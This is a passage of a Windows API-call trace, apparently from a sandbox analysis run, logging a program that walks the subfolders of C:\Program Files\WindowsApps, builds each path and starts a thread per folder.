	[0079.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058
	[0079.064] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf79c53c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x209d0ef, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x209d0ef, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI101B~1.0_X")) returned 1
	[0079.064] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.064] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7db28
	[0079.064] wcscpy (in: _Dest=0x2d7db28, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.064] wcscat (in: _Dest=0x2d7db28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.064] wcscat (in: _Dest=0x2d7db28, _Source="Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0079.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7db28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c
	[0079.065] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf703bd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2076e87, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2076e87, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI2427~1.0_N")) returned 1
	[0079.065] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.065] wcscmp (_String1="Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x47700a0
	[0079.065] wcscpy (in: _Dest=0x47700a0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.065] wcscat (in: _Dest=0x47700a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.065] wcscat (in: _Dest=0x47700a0, _Source="Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe"
	[0079.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47700a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060
	[0079.066] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x722d4fa4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI1B9A~1.0_N")) returned 1
	[0079.066] wcscmp (_String1="Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.066] wcscmp (_String1="Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d9b8
	[0079.066] wcscpy (in: _Dest=0x2d7d9b8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.066] wcscat (in: _Dest=0x2d7d9b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.066] wcscat (in: _Dest=0x2d7d9b8, _Source="Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe"
	[0079.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064
	[0079.067] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7242c4d5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7B67~1.0_X")) returned 1
	[0079.067] wcscmp (_String1="Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.067] wcscmp (_String1="Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986128
	[0079.067] wcscpy (in: _Dest=0x4986128, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.067] wcscat (in: _Dest=0x4986128, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.067] wcscat (in: _Dest=0x4986128, _Source="Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0079.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4986128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068
	[0079.068] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c427fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5aba784, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5aba784, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI5488~1.SCA")) returned 1
	[0079.068] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.068] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.068] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e2d0
	[0079.068] wcscpy (in: _Dest=0x477e2d0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.068] wcscat (in: _Dest=0x477e2d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.068] wcscat (in: _Dest=0x477e2d0, _Source="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c
	[0079.069] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77993d99, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI34BC~1.0_N")) returned 1
	[0079.069] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.069] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a328
	[0079.069] wcscpy (in: _Dest=0x476a328, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.069] wcscat (in: _Dest=0x476a328, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.069] wcscat (in: _Dest=0x476a328, _Source="Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_~_8wekyb3d8bbwe"
	[0079.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070
	[0079.070] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b5d9ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5a9451f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a9451f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7E75~1.0_X")) returned 1
	[0079.070] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.070] wcscmp (_String1="Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.070] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7dbe0
	[0079.070] wcscpy (in: _Dest=0x2d7dbe0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.070] wcscat (in: _Dest=0x2d7dbe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.070] wcscat (in: _Dest=0x2d7dbe0, _Source="Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe"
	[0079.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7dbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074
	[0079.070] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b5b0339, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x678b204, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x678b204, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4965~1.0_X")) returned 1
	[0079.071] wcscmp (_String1="Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.071] wcscmp (_String1="Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.071] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476fd80
	[0079.071] wcscpy (in: _Dest=0x476fd80, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.071] wcscat (in: _Dest=0x476fd80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.071] wcscat (in: _Dest=0x476fd80, _Source="Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_11.19.19003.0_x64__8wekyb3d8bbwe"
	[0079.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476fd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078
	[0079.072] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b373fc2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6765034, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6765034, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI58AE~1.0_N")) returned 1
	[0079.072] wcscmp (_String1="Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.072] wcscmp (_String1="Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ea610
	[0079.072] wcscpy (in: _Dest=0x47ea610, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.072] wcscat (in: _Dest=0x47ea610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.072] wcscat (in: _Dest=0x47ea610, _Source="Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe"
	[0079.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x107c
	[0079.073] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dcfe45d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI0679~1.SCA")) returned 1
	[0079.073] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.073] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.073] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb438
	[0079.073] wcscpy (in: _Dest=0x47eb438, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.073] wcscat (in: _Dest=0x47eb438, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.073] wcscat (in: _Dest=0x47eb438, _Source="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47eb438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080
	[0079.073] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d9f57ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7482029, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7482029, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIB74B~1.0_N")) returned 1
	[0079.073] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.074] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea540
	[0079.074] wcscpy (in: _Dest=0x47ea540, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.074] wcscat (in: _Dest=0x47ea540, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.074] wcscat (in: _Dest=0x47ea540, _Source="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_neutral_~_8wekyb3d8bbwe"
	[0079.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084
	[0079.074] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dbbf423, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x74a814e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x74a814e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEA0B~1.0_X")) returned 1
	[0079.074] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.074] wcscmp (_String1="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476fb28
	[0079.074] wcscpy (in: _Dest=0x476fb28, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.074] wcscat (in: _Dest=0x476fb28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.075] wcscat (in: _Dest=0x476fb28, _Source="Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe"
	[0079.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476fb28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088
	[0079.075] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ed154e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa241231, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa241231, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe", cAlternateFileName="MID586~1.SCA")) returned 1
	[0079.075] wcscmp (_String1="Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe", _String2=".") returned 1
	[0079.075] wcscmp (_String1="Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe", _String2="..") returned 1
	[0079.075] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477e490
	[0079.075] wcscpy (in: _Dest=0x477e490, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.075] wcscat (in: _Dest=0x477e490, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.075] wcscat (in: _Dest=0x477e490, _Source="Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0079.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477e490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c
	[0079.076] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI7C12~1.0_X")) returned 1
	[0079.076] wcscmp (_String1="Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0079.076] wcscmp (_String1="Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0079.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d1d0
	[0079.076] wcscpy (in: _Dest=0x2d7d1d0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0079.076] wcscat (in: _Dest=0x2d7d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0079.076] wcscat (in: _Dest=0x2d7d1d0, _Source="Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
